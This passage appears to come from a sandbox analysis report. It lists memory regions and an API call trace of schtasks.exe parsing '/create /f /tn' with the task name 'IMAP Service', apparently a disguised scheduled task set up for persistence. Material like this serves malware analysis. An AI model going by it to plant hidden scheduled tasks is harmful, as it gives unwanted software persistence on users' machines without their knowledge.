start_va = 0x30000
end_va = 0x36fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000030000"
filename = ""
Region:
id = 578
start_va = 0xe0000
end_va = 0xe1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000000e0000"
filename = ""
Region:
id = 579
start_va = 0xf0000
end_va = 0x101fff
entry_point = 0xf0000
region_type = mapped_file
name = "schtasks.exe.mui"
filename = "\\Windows\\SysWOW64\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\schtasks.exe.mui")
Region:
id = 580
start_va = 0x150000
end_va = 0x150fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000150000"
filename = ""
Region:
id = 581
start_va = 0x160000
end_va = 0x160fff
entry_point = 0x0
region_type = private
name = "private_0x0000000000160000"
filename = ""
Region:
id = 582
start_va = 0x760000
end_va = 0x8e0fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000760000"
filename = ""
Region:
id = 583
start_va = 0xc50000
end_va = 0x204ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000c50000"
filename = ""
Region:
id = 584
start_va = 0x757a0000
end_va = 0x757a8fff
entry_point = 0x757a0000
region_type = mapped_file
name = "version.dll"
filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll")
Region:
id = 585
start_va = 0x8f0000
end_va = 0xbbefff
entry_point = 0x8f0000
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 586
start_va = 0x752d0000
end_va = 0x7534ffff
entry_point = 0x752d0000
region_type = mapped_file
name = "uxtheme.dll"
filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")
Region:
id = 587
start_va = 0x2050000
end_va = 0x220ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002050000"
filename = ""
Region:
id = 588
start_va = 0x1d0000
end_va = 0x2aefff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001d0000"
filename = ""
Region:
id = 589
start_va = 0x3a0000
end_va = 0x3dffff
entry_point = 0x0
region_type = private
name = "private_0x00000000003a0000"
filename = ""
Region:
id = 590
start_va = 0x20f0000
end_va = 0x212ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000020f0000"
filename = ""
Region:
id = 591
start_va = 0x21d0000
end_va = 0x220ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000021d0000"
filename = ""
Region:
id = 592
start_va = 0x7efd8000
end_va = 0x7efdafff
entry_point = 0x0
region_type = private
name = "private_0x000000007efd8000"
filename = ""
Region:
id = 593
start_va = 0x170000
end_va = 0x170fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000170000"
filename = ""
Region:
id = 594
start_va = 0x76890000
end_va = 0x76912fff
entry_point = 0x76890000
region_type = mapped_file
name = "clbcatq.dll"
filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")
Region:
id = 595
start_va = 0x180000
end_va = 0x180fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000180000"
filename = ""
Region:
id = 596
start_va = 0x748b0000
end_va = 0x7492cfff
entry_point = 0x748b0000
region_type = mapped_file
name = "taskschd.dll"
filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll")
Thread:
id = 18
os_tid = 0xb64
[0175.851] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x14fde4 | out: lpSystemTimeAsFileTime=0x14fde4*(dwLowDateTime=0x700e89d0, dwHighDateTime=0x1d3f29b))
[0175.851] GetCurrentProcessId () returned 0xb60
[0175.851] GetCurrentThreadId () returned 0xb64
[0175.851] GetTickCount () returned 0x3077e
[0175.851] RtlQueryPerformanceCounter () returned 0x1
[0175.852] GetModuleHandleA (lpModuleName=0x0) returned 0xc20000
[0175.852] __set_app_type (_Type=0x1)
[0175.852] __p__fmode () returned 0x767131f4
[0175.852] __p__commode () returned 0x767131fc
[0175.852] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc37881) returned 0x0
[0175.852] __wgetmainargs (in: _Argc=0xc49e6c, _Argv=0xc49e74, _Env=0xc49e70, _DoWildCard=0, _StartInfo=0xc49e80 | out: _Argc=0xc49e6c, _Argv=0xc49e74, _Env=0xc49e70) returned 0
[0175.852] _onexit (_Func=0xc40fe2) returned 0xc40fe2
[0175.852] _onexit (_Func=0xc40ff3) returned 0xc40ff3
[0175.852] _onexit (_Func=0xc41002) returned 0xc41002
[0175.852] _onexit (_Func=0xc4101e) returned 0xc4101e
[0175.853] _onexit (_Func=0xc4103a) returned 0xc4103a
[0175.853] _onexit (_Func=0xc41056) returned 0xc41056
[0175.853] _onexit (_Func=0xc41072) returned 0xc41072
[0175.853] _onexit (_Func=0xc4108e) returned 0xc4108e
[0175.853] _onexit (_Func=0xc410aa) returned 0xc410aa
[0175.853] _onexit (_Func=0xc410c6) returned 0xc410c6
[0175.853] _onexit (_Func=0xc410e2) returned 0xc410e2
[0175.853] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
[0175.853] WinSqmIsOptedIn () returned 0x0
[0175.853] SetLastError (dwErrCode=0x0)
[0175.854] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18
[0175.854] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b
[0175.854] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b
[0175.854] VerifyVersionInfoW (in: lpVersionInformation=0x14f85c, dwTypeMask=0x3, dwlConditionMask=0x1801b | out: lpVersionInformation=0x14f85c) returned 1
[0175.854] lstrlenW (lpString="") returned 0
[0175.854] SetThreadUILanguage (LangId=0x0) returned 0x409
[0175.854] SetLastError (dwErrCode=0x0)
[0175.855] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.855] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4e59c0, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20
[0175.855] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x757a0000
[0175.855] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoSizeW") returned 0x757a19d9
[0175.855] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744
[0175.856] GetProcAddress (hModule=0x757a0000, lpProcName="GetFileVersionInfoW") returned 0x757a19f4
[0175.856] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x4e5bd0 | out: lpData=0x4e5bd0) returned 1
[0175.856] GetProcAddress (hModule=0x757a0000, lpProcName="VerQueryValueW") returned 0x757a1b51
[0175.856] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x14f964, puLen=0x14f968 | out: lplpBuffer=0x14f964*=0x4e5f6c, puLen=0x14f968) returned 1
[0175.857] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.857] _vsnwprintf (in: _Buffer=0x4e59c0, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x14f94c | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37
[0175.857] VerQueryValueW (in: pBlock=0x4e5bd0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x14f974, puLen=0x14f970 | out: lplpBuffer=0x14f974*=0x4e5d98, puLen=0x14f970) returned 1
[0175.857] lstrlenW (lpString="schtasks.exe") returned 12
[0175.857] lstrlenW (lpString="schtasks.exe") returned 12
[0175.857] lstrlenW (lpString=".EXE") returned 4
[0175.857] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe"
[0175.857] lstrlenW (lpString="schtasks.exe") returned 12
[0175.857] lstrlenW (lpString=".EXE") returned 4
[0175.857] _memicmp (_Buf1=0x4e4b90, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.857] lstrlenW (lpString="schtasks") returned 8
[0175.857] _memicmp (_Buf1=0x4e4bf0, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.858] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.858] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17
[0175.858] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23
[0175.858] _vsnwprintf (in: _Buffer=0x4e65b0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x14f950 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29
[0175.858] SetLastError (dwErrCode=0x0)
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="?") returned 1
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="create") returned 6
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="delete") returned 6
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="query") returned 5
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="change") returned 6
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="run") returned 3
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="end") returned 3
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] lstrlenW (lpString="showsid") returned 7
[0175.858] GetThreadLocale () returned 0x409
[0175.858] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2
[0175.858] SetLastError (dwErrCode=0x0)
[0175.858] SetLastError (dwErrCode=0x0)
[0175.858] lstrlenW (lpString="/create") returned 7
[0175.858] lstrlenW (lpString="-/") returned 2
[0175.858] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.859] lstrlenW (lpString="?") returned 1
[0175.859] lstrlenW (lpString="?") returned 1
[0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] _vsnwprintf (in: _Buffer=0x4e4c38, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3
[0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.859] lstrlenW (lpString="|?|") returned 3
[0175.859] lstrlenW (lpString="|create|") returned 8
[0175.859] SetLastError (dwErrCode=0x490)
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.859] lstrlenW (lpString="|create|") returned 8
[0175.859] lstrlenW (lpString="|create|") returned 8
[0175.859] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|"
[0175.859] SetLastError (dwErrCode=0x0)
[0175.859] SetLastError (dwErrCode=0x0)
[0175.859] SetLastError (dwErrCode=0x0)
[0175.859] lstrlenW (lpString="/f") returned 2
[0175.859] lstrlenW (lpString="-/") returned 2
[0175.859] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.859] lstrlenW (lpString="?") returned 1
[0175.859] lstrlenW (lpString="?") returned 1
[0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] lstrlenW (lpString="f") returned 1
[0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3
[0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.859] lstrlenW (lpString="|?|") returned 3
[0175.859] lstrlenW (lpString="|f|") returned 3
[0175.859] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0
[0175.859] SetLastError (dwErrCode=0x490)
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] lstrlenW (lpString="create") returned 6
[0175.859] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] lstrlenW (lpString="f") returned 1
[0175.859] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.859] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.859] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.860] lstrlenW (lpString="|create|") returned 8
[0175.860] lstrlenW (lpString="|f|") returned 3
[0175.860] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0
[0175.860] SetLastError (dwErrCode=0x490)
[0175.860] lstrlenW (lpString="delete") returned 6
[0175.860] lstrlenW (lpString="delete") returned 6
[0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] lstrlenW (lpString="f") returned 1
[0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8
[0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.860] lstrlenW (lpString="|delete|") returned 8
[0175.860] lstrlenW (lpString="|f|") returned 3
[0175.860] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0
[0175.860] SetLastError (dwErrCode=0x490)
[0175.860] lstrlenW (lpString="query") returned 5
[0175.860] lstrlenW (lpString="query") returned 5
[0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] lstrlenW (lpString="f") returned 1
[0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7
[0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.860] lstrlenW (lpString="|query|") returned 7
[0175.860] lstrlenW (lpString="|f|") returned 3
[0175.860] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0
[0175.860] SetLastError (dwErrCode=0x490)
[0175.860] lstrlenW (lpString="change") returned 6
[0175.860] lstrlenW (lpString="change") returned 6
[0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] lstrlenW (lpString="f") returned 1
[0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8
[0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.860] lstrlenW (lpString="|change|") returned 8
[0175.860] lstrlenW (lpString="|f|") returned 3
[0175.860] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0
[0175.860] SetLastError (dwErrCode=0x490)
[0175.860] lstrlenW (lpString="run") returned 3
[0175.860] lstrlenW (lpString="run") returned 3
[0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] lstrlenW (lpString="f") returned 1
[0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5
[0175.860] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.860] lstrlenW (lpString="|run|") returned 5
[0175.860] lstrlenW (lpString="|f|") returned 3
[0175.860] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0
[0175.860] SetLastError (dwErrCode=0x490)
[0175.860] lstrlenW (lpString="end") returned 3
[0175.860] lstrlenW (lpString="end") returned 3
[0175.860] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.860] lstrlenW (lpString="f") returned 1
[0175.860] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] _vsnwprintf (in: _Buffer=0x4e5278, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5
[0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.861] lstrlenW (lpString="|end|") returned 5
[0175.861] lstrlenW (lpString="|f|") returned 3
[0175.861] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0
[0175.861] SetLastError (dwErrCode=0x490)
[0175.861] lstrlenW (lpString="showsid") returned 7
[0175.861] lstrlenW (lpString="showsid") returned 7
[0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] lstrlenW (lpString="f") returned 1
[0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9
[0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|f|") returned 3
[0175.861] lstrlenW (lpString="|showsid|") returned 9
[0175.861] lstrlenW (lpString="|f|") returned 3
[0175.861] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0
[0175.861] SetLastError (dwErrCode=0x490)
[0175.861] SetLastError (dwErrCode=0x490)
[0175.861] SetLastError (dwErrCode=0x0)
[0175.861] lstrlenW (lpString="/f") returned 2
[0175.861] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0
[0175.861] SetLastError (dwErrCode=0x490)
[0175.861] SetLastError (dwErrCode=0x0)
[0175.861] lstrlenW (lpString="/f") returned 2
[0175.861] SetLastError (dwErrCode=0x0)
[0175.861] SetLastError (dwErrCode=0x0)
[0175.861] lstrlenW (lpString="/tn") returned 3
[0175.861] lstrlenW (lpString="-/") returned 2
[0175.861] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/"
[0175.861] lstrlenW (lpString="?") returned 1
[0175.861] lstrlenW (lpString="?") returned 1
[0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] lstrlenW (lpString="tn") returned 2
[0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|?|") returned 3
[0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.861] lstrlenW (lpString="|?|") returned 3
[0175.861] lstrlenW (lpString="|tn|") returned 4
[0175.861] SetLastError (dwErrCode=0x490)
[0175.861] lstrlenW (lpString="create") returned 6
[0175.861] lstrlenW (lpString="create") returned 6
[0175.861] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] lstrlenW (lpString="tn") returned 2
[0175.861] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.861] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|create|") returned 8
[0175.861] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.861] lstrlenW (lpString="|create|") returned 8
[0175.861] lstrlenW (lpString="|tn|") returned 4
[0175.862] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0
[0175.862] SetLastError (dwErrCode=0x490)
[0175.862] lstrlenW (lpString="delete") returned 6
[0175.862] lstrlenW (lpString="delete") returned 6
[0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] lstrlenW (lpString="tn") returned 2
[0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|delete|") returned 8
[0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.862] lstrlenW (lpString="|delete|") returned 8
[0175.862] lstrlenW (lpString="|tn|") returned 4
[0175.862] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0
[0175.862] SetLastError (dwErrCode=0x490)
[0175.862] lstrlenW (lpString="query") returned 5
[0175.862] lstrlenW (lpString="query") returned 5
[0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] lstrlenW (lpString="tn") returned 2
[0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x8, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|query|") returned 7
[0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.862] lstrlenW (lpString="|query|") returned 7
[0175.862] lstrlenW (lpString="|tn|") returned 4
[0175.862] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0
[0175.862] SetLastError (dwErrCode=0x490)
[0175.862] lstrlenW (lpString="change") returned 6
[0175.862] lstrlenW (lpString="change") returned 6
[0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] lstrlenW (lpString="tn") returned 2
[0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x9, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|change|") returned 8
[0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.862] lstrlenW (lpString="|change|") returned 8
[0175.862] lstrlenW (lpString="|tn|") returned 4
[0175.862] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0
[0175.862] SetLastError (dwErrCode=0x490)
[0175.862] lstrlenW (lpString="run") returned 3
[0175.862] lstrlenW (lpString="run") returned 3
[0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] lstrlenW (lpString="tn") returned 2
[0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|run|") returned 5
[0175.862] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.862] lstrlenW (lpString="|run|") returned 5
[0175.862] lstrlenW (lpString="|tn|") returned 4
[0175.862] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0
[0175.862] SetLastError (dwErrCode=0x490)
[0175.862] lstrlenW (lpString="end") returned 3
[0175.862] lstrlenW (lpString="end") returned 3
[0175.862] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] lstrlenW (lpString="tn") returned 2
[0175.862] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.862] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|end|") returned 5
[0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.863] lstrlenW (lpString="|end|") returned 5
[0175.863] lstrlenW (lpString="|tn|") returned 4
[0175.863] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] lstrlenW (lpString="showsid") returned 7
[0175.863] lstrlenW (lpString="showsid") returned 7
[0175.863] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.863] lstrlenW (lpString="tn") returned 2
[0175.863] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0
[0175.863] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0xa, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|showsid|") returned 9
[0175.863] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14f938 | out: _Buffer="|tn|") returned 4
[0175.863] lstrlenW (lpString="|showsid|") returned 9
[0175.863] lstrlenW (lpString="|tn|") returned 4
[0175.863] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] lstrlenW (lpString="/tn") returned 3
[0175.863] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] lstrlenW (lpString="/tn") returned 3
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] SetLastError (dwErrCode=0x0)
[0175.863] lstrlenW (lpString="IMAP Service") returned 12
[0175.863] lstrlenW (lpString="-/") returned 2
[0175.863] StrChrIW (lpStart="-/", wMatch=0x49) returned 0x0
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x490)
[0175.863] SetLastError (dwErrCode=0x0)
